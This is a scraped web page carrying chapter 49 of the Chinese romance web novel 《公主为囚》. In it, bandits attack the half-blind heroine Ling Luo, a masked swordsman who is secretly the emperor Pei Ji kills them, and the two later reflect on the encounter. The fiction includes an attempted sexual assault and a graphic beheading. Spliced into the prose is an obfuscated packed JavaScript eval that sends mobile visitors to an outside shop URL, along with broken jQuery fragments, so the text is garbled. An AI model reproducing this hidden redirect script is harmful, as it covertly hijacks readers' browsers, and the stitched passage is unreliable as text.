49. 久违的相拥
作品:《公主为囚》 两个手拿长刀,长得凶神恶煞的男人走进来。
毓秀大叫起来,拉着绫罗连连后退。
两个男人露出笑容:“这家果然是个大户人家,竟还有两个美娇娘。”
绫罗冷静道:“我们进屋子里,抵住门。”
毓秀连忙扶着绫罗往里面跑,两个男人不疾不徐,胜券在握,手中长刀在地上刮擦出火星子。
“进屋子了又如何,老子现在就将你抓出来。”
说着,他用力踹门,门里面,毓秀和绫罗两人用后背将门抵住,这一脚震得绫罗后背钝痛。
“奶娘的。”一个山匪没了耐心,举起长刀就往门缝里插,另一个却抬手阻止,眼神示意他不可。
“别忘了主上的叮嘱,不伤人性命是底线。”
“行。”另一个敷衍道,又大力踹了一脚门。
门内,毓秀急得直哭,绫罗同样着急,却尽力让自己镇定下来,刚刚门外两人说的话她隐约听见了。这山匪竟然还有不可杀人的规矩?作为山匪,既要扰乱叶城,又不杀人,究竟是为何?
“毓秀毓秀,冷静。”她轻声道,随后对毓秀递了个眼神。
“三,二,一!”
绫罗和毓秀同时回身将门打开,绫罗袖子中挥出一团灰色的粉末,顿时浓烈且刺激的味道劈头盖脸朝着门外两人袭来。
是胡椒粉。两个山匪双眼被胡椒辣得睁不开来,胡乱地挥舞着刀。
“走。”毓秀赶紧拉着绫罗埋头往外冲。
山匪很快缓过来,绫罗和毓秀两个弱女子,绫罗还有眼疾,本就跑不快,刚跑出去没几步,就被山匪一个箭步抓住后衣领,扔到一旁。
绫罗重重跌在地上,她狼狈地往后挪动,听见山匪的脚步声越来越近。
“是个国色天香的美娇娘。”山匪□□,“主上只说不让杀人,那我不杀便是。”
他一把掐住绫罗的脸,左右端详,“如此貌美,我还不舍得杀呢。若是能带回去...平日训练寂寞,正好陪老子解闷。”
“放开我!”绫罗挣扎着,拍开他的手。
她虽然看不清这个人的相貌,但心底油然而生一股子恶心的感觉,恶心得她要干呕。脸上被那个人掐过的地方火辣辣地疼,她好想洗脸!
“呵。”
山匪拽住她的胳膊,将她从地上拽起来,用一只手一把箍住她腰身,粗暴地将她往屋子里带。
“你个畜生!放开我!”
绫罗不停挣扎,手死死掐住他胳膊上的一块肉,但那山匪仿佛不怕疼似的,咬紧牙关,发了狠要将她往屋子里带。
“放开女郎!你们要抓抓我!”毓秀拼命大喊,但无济于事,城中人人自危,恰好叶城官兵又不在此处巡逻,没人能来救她们。
绫罗不放弃,不停说着:“你们若是求财,我家有许多金银财宝,只要你能放了我们,多少银子我双手奉上。”
“若是我出事,叶城城主不会放过你们!”
“闭嘴,死娘们!”山匪骂着,“老子先睡了你,再拿你家金银,岂不是更划算。”
“放开我!”
她头发散乱,头上发钗散了一地,衣襟也在挣扎中乱了,深深的无力感和恐惧感涌上心头,绫罗已经许久没有过这种情绪了。当年在宫中被裴忌强迫之时,都没有过这种绝望的心境。
至少...她的身体并不抗拒裴忌。
都这种境况了,她竟然还能想起裴忌?绫罗在心里扇自己一个巴掌。
山匪将她扔上床,重重一下完全没有收力道,绫罗疼得皱起脸。
“别过来!”她拔下头上唯一一根发簪,举在身前,冲着那山匪。
山匪笑道:“还挺凶。”膝盖已经上了床,他拽着绫罗的脚踝,把她从床里拉出来,谁知手背传来猛烈的剧痛,银簪完全贯穿他的手掌,狠狠插了进去。
山匪痛得大叫,拔下手掌上的银簪,往绫罗头上用力一掷,顿时,绫罗额头上被砸出一个小口子。
“老子杀了你!”
山匪举起刀,就往绫罗方向劈来。
绫罗吓得闭眼,只听“叮”一声,随后是金属落地的声音,山匪的刀瞬间断成两节。
那山匪呆愣一瞬,不可置信看着地上那断裂的刀。
眼前,玄衣男子长剑发出阵阵寒光,剑锋直指山匪脖子,他薄唇微抿,眸光极度寒凉,浓黑色的眸中满是杀意。
没有丝毫犹豫,他甚至没有给山匪反应的时间,一剑挥出,霎那间,山匪的两只胳膊齐刷刷落地。
山匪大喊,不敢相信地看着自己落地的双臂,惊恐到无以复加,下一刻,剑锋划过脖子,人头落地。
绫罗听见清晰的血肉被划破的声音,随后是浓烈的血腥气。
是谁来了,是谁救了她?
她尚没有从方才的惊恐中穿过神来,眼角还挂着泪痕,她剧烈喘息着,说不出话。
岂料下一刻,她落入一个温暖的怀抱。男人身上好闻的冷香扑面而来,他张开双臂,将她揽进怀中,紧紧拥住了她。
两人交颈,彼此都呼吸剧烈,心有余悸,心跳声声声入耳,彼此交织着。绫罗闻着他身上的冷香,终于有了些安定。
她没有说话,她知道这个人就是见过两面的那个哑巴,也是传闻中在城中杀山匪的侠客。
过了良久,男人松开她,看着她的眼睛,看着她的一切,满目怜惜。
绫罗看不见他,她伸出手,手慢慢地慢慢地抚摸上他的脸颊,却只碰到了一个冰凉的银制面具。她微微皱眉,手再往后,抚到他的耳朵,指尖缓缓顺着他耳廓滑过,最后落在他的耳垂,轻轻一捻。
男人呼吸猛然一滞,心脏顿时狂跳不止。
他站起身,连连后退,身形隐没在黑暗中,绫罗的手尚抬着,只是手下没了男人的身影。
她茫茫然看着眼前的黑暗,指尖残存着些许滚烫的温度。
毓秀冲进来,扑倒在绫罗跟前,哭得上气不接下气。
“女郎,奴婢看见一位黑衣男子,用剑把那两个人都杀了!”
“女郎女郎...还好您没事,不然毓秀一头撞死算了。”
绫罗温柔地拍着毓秀的后背给她顺气,目光空洞,不知看向何方。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16812402|187828||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>而此时屋顶上,裴忌手指几不可查地颤抖着,耳尖通红一片。
——
到了戌时,廖梅生终于到了。
他气喘吁吁,满头大汗,用力拍门,将毓秀和绫罗都惊动了。一开门,才发现廖梅生浑身上下衣服破了好几个口子,胳膊肘和膝盖上也都有擦伤,浑身都是泥土和灰尘。
刚进院子,廖梅生又皱起鼻子,“哪来的血腥气?”
结果打眼一看,院子里正横躺着一具尸体,顿时吓得双腿发软,跪了下去。
毓秀扶住廖梅生,将他扶进间干净的屋子。
廖梅生一头栽进竹躺椅上,喝了好大一壶茶才缓过气来。
“我一把老骨头啊...老骨头...”话没说完竟然就老泪纵横。
绫罗担忧,“廖先生,究竟发生了何事?”
廖梅生道:“老朽本是在来的路上,结果遇见一个山匪追杀,我就跑啊跑啊,终于将那山匪给甩了。这才回来了。丫头,你们这到底怎么回事啊!”
绫罗将方才发生的事情复述了一遍,不过隐去了黑衣人和她之间的故事,只说是侠客。
廖梅生双目微眯,眸中似有深意。
“丫头,你觉得那侠客的有没有什么奇怪的地方?”
“啊?”绫罗一愣。
“没有。”
她将头偏向一侧,干脆道。
“好好。”廖梅生不再追问,躺在竹躺椅上,顺着气,良久,气若游丝道:“给老朽拿药来...要命了...”
——
叶城主街,客栈内
柳竹下跪,禀报道:“陛下,属下按照陛下吩咐,救下了那廖梅生,过程中不慎被他看清了样貌。廖梅生肯定已经猜到陛下在叶城了。属下知罪!”
裴忌无甚表情,淡淡看着窗外,只道:“无妨,你暗中保护好他,追查山匪之事交给叶城官府。”
“是。”柳竹抱拳,“陛下,山匪为何会冲着廖梅生去,今日属下看那情形,山匪似乎并非是要取他性命,而是要将他活捉。”
“活捉?”裴忌思索片刻,“既然是活捉,那自然是找他有用。”
“医术。”
“陛下是说,山匪生病了,要廖梅生去治病?这就说得通了。”柳竹喃喃。
裴忌看着窗外,微风吹拂,发丝浮动,轻柔地划过耳廓,酥酥痒痒。他轻声道:“柳竹,你说她到底有没有认出我。”
柳竹答不上来,只能沉默。
裴忌自答:“应当是没有吧。若是认出我了,怎还会对我那样?若是认出了,她肯定会哭,会打,会将我赶走。或是,想杀了我。”
他的话轻轻飘散在风中,无人应答。
清风拂过梧桐绿叶,打着卷儿一阵阵吹着,不知要吹向何方。
叶城中另一扇开着的窗子前,女子独立。她墨发披散,素白的衣衫微微晃动着,轻灵的模样美得好似天外飞仙,连风都偏爱美人。可她眉间满是郁色,眉目间浓到化不开的愁,像江南四月连绵不绝的梅雨。
她想要见一见这位救她于危难的大侠,不要晚上,要白天。

